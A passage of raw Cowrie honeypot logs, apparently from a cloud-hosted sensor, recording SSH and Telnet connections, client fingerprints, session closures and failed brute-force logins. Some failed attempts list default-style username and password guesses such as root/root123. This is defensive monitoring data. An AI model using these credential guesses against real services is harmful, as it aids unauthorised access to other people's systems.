-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:35.294323Z","src_ip":"193.24.211.95","session":"529ffd063c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123456789","message":"login attempt [support/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:35.716459Z","src_ip":"193.24.211.95","session":"529ffd063c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:36.835657Z","src_ip":"193.24.211.95","session":"529ffd063c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.78153586387634,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:36.871420Z","src_ip":"167.99.38.72","session":"80b39e54b294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.719871044158936,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:38.596322Z","src_ip":"167.99.38.72","session":"f4c39056e8d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.924485206604004,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:38.620721Z","src_ip":"167.99.38.72","session":"b1eca6c50acc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":48974,"dst_ip":"10.17.0.5","dst_port":22,"session":"11993397daa8","protocol":"ssh","message":"New connection: 190.108.60.101:48974 (10.17.0.5:22) [session: 11993397daa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:39.242927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:39.247482Z","src_ip":"190.108.60.101","session":"11993397daa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:39.461549Z","src_ip":"190.108.60.101","session":"11993397daa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56856,"dst_ip":"159.203.135.109","dst_port":23,"session":"68d3e0de4efa","protocol":"telnet","message":"New connection: 34.69.118.1:56856 (159.203.135.109:23) [session: 68d3e0de4efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:39.962749Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2024","message":"login attempt [ftpuser/ftpuser2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:40.358966Z","src_ip":"190.108.60.101","session":"11993397daa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.63056755065918,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:40.900776Z","src_ip":"34.69.118.1","session":"0268a41d26a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:41.577688Z","src_ip":"190.108.60.101","session":"11993397daa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.351014852523804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:42.993312Z","src_ip":"62.171.133.168","session":"3d0230f5316d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.984512329101562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:46.563540Z","src_ip":"34.69.118.1","session":"90e0451f3636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33896,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b50ed425bfa","protocol":"telnet","message":"New connection: 34.69.118.1:33896 (159.203.135.109:23) [session: 2b50ed425bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:48.973712Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44238,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7e693285a36","protocol":"ssh","message":"New connection: 122.168.114.167:44238 (159.203.135.109:22) [session: a7e693285a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:50.500833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:53.224462Z","src_ip":"122.168.114.167","session":"a7e693285a36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:53.227884Z","src_ip":"122.168.114.167","session":"a7e693285a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":49120,"dst_ip":"159.203.135.109","dst_port":23,"session":"0507efefd5a8","protocol":"telnet","message":"New connection: 34.69.118.1:49120 (159.203.135.109:23) [session: 0507efefd5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:59.414217Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":39718,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c6940fc9925","protocol":"telnet","message":"New connection: 167.99.38.72:39718 (159.203.135.109:23) [session: 9c6940fc9925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:05.266864Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":39050,"dst_ip":"159.203.135.109","dst_port":23,"session":"b81f87a8109a","protocol":"telnet","message":"New connection: 167.99.38.72:39050 (159.203.135.109:23) [session: b81f87a8109a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:05.449748Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":40876,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4401c2242f7","protocol":"telnet","message":"New connection: 167.99.38.72:40876 (159.203.135.109:23) [session: d4401c2242f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:06.983854Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":40878,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7acba406e8e","protocol":"telnet","message":"New connection: 167.99.38.72:40878 (159.203.135.109:23) [session: a7acba406e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:06.989364Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":41024,"dst_ip":"159.203.135.109","dst_port":23,"session":"45a28b1a41cb","protocol":"telnet","message":"New connection: 167.99.38.72:41024 (159.203.135.109:23) [session: 45a28b1a41cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:07.367518Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:07.485161Z","src_ip":"122.168.114.167","session":"a7e693285a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":41186,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef57d44dfdea","protocol":"telnet","message":"New connection: 167.99.38.72:41186 (159.203.135.109:23) [session: ef57d44dfdea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:07.691863Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":41426,"dst_ip":"159.203.135.109","dst_port":23,"session":"df3939a9c990","protocol":"telnet","message":"New connection: 167.99.38.72:41426 (159.203.135.109:23) [session: df3939a9c990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:08.210995Z"}
{"eventid":"cowrie.session.closed","duration":30.160865783691406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:10.123329Z","src_ip":"34.69.118.1","session":"68d3e0de4efa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"21.4","message":"Connection lost after 21.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:11.960448Z","src_ip":"122.168.114.167","session":"a7e693285a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":45098,"dst_ip":"159.203.135.109","dst_port":23,"session":"3da8c26070a5","protocol":"telnet","message":"New connection: 167.99.38.72:45098 (159.203.135.109:23) [session: 3da8c26070a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:15.508771Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":45154,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a126d2fed6a","protocol":"telnet","message":"New connection: 167.99.38.72:45154 (159.203.135.109:23) [session: 5a126d2fed6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:15.624853Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":45100,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfb5b0d2b1f4","protocol":"telnet","message":"New connection: 167.99.38.72:45100 (159.203.135.109:23) [session: cfb5b0d2b1f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:16.511009Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":47430,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d3170981da7","protocol":"ssh","message":"New connection: 113.163.156.190:47430 (159.203.135.109:22) [session: 6d3170981da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:19.553748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:19.558757Z","src_ip":"113.163.156.190","session":"6d3170981da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:19.820037Z","src_ip":"113.163.156.190","session":"6d3170981da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.22296905517578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:20.196550Z","src_ip":"34.69.118.1","session":"2b50ed425bfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":46854,"dst_ip":"159.203.135.109","dst_port":23,"session":"ede2d98b9fe7","protocol":"telnet","message":"New connection: 167.99.38.72:46854 (159.203.135.109:23) [session: ede2d98b9fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:20.233141Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":42190,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d8eb715b3f1","protocol":"ssh","message":"New connection: 221.139.88.149:42190 (10.17.0.5:22) [session: 9d8eb715b3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:20.428236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:20.432451Z","src_ip":"221.139.88.149","session":"9d8eb715b3f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:20.656628Z","src_ip":"221.139.88.149","session":"9d8eb715b3f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"123123","message":"login attempt [develop/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:20.880284Z","src_ip":"113.163.156.190","session":"6d3170981da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234554321","message":"login attempt [root/1234554321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:21.557433Z","src_ip":"221.139.88.149","session":"9d8eb715b3f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:22.141987Z","src_ip":"113.163.156.190","session":"6d3170981da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:22.768450Z","src_ip":"221.139.88.149","session":"9d8eb715b3f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":50844,"dst_ip":"159.203.135.109","dst_port":23,"session":"081a115ebfe8","protocol":"telnet","message":"New connection: 167.99.38.72:50844 (159.203.135.109:23) [session: 081a115ebfe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:26.995615Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33464,"dst_ip":"159.203.135.109","dst_port":23,"session":"7edc3b0e265b","protocol":"telnet","message":"New connection: 34.69.118.1:33464 (159.203.135.109:23) [session: 7edc3b0e265b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:27.405988Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":51728,"dst_ip":"159.203.135.109","dst_port":23,"session":"6527d6a1cb12","protocol":"telnet","message":"New connection: 167.99.38.72:51728 (159.203.135.109:23) [session: 6527d6a1cb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:28.675954Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46644,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9c43d7df498","protocol":"ssh","message":"New connection: 122.168.114.167:46644 (159.203.135.109:22) [session: b9c43d7df498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:29.357726Z"}
{"eventid":"cowrie.session.closed","duration":31.05618715286255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:30.470304Z","src_ip":"34.69.118.1","session":"0507efefd5a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33474,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ae47823be8e","protocol":"telnet","message":"New connection: 34.69.118.1:33474 (159.203.135.109:23) [session: 7ae47823be8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:31.634051Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":54582,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cacd5f9efb8","protocol":"telnet","message":"New connection: 167.99.38.72:54582 (159.203.135.109:23) [session: 2cacd5f9efb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:33.813128Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":54624,"dst_ip":"159.203.135.109","dst_port":23,"session":"d418b652ccdf","protocol":"telnet","message":"New connection: 167.99.38.72:54624 (159.203.135.109:23) [session: d418b652ccdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:33.941661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:34.069237Z","src_ip":"122.168.114.167","session":"b9c43d7df498","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:34.073079Z","src_ip":"122.168.114.167","session":"b9c43d7df498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":57014,"dst_ip":"159.203.135.109","dst_port":23,"session":"26556a3b8ddb","protocol":"telnet","message":"New connection: 167.99.38.72:57014 (159.203.135.109:23) [session: 26556a3b8ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:37.694188Z"}
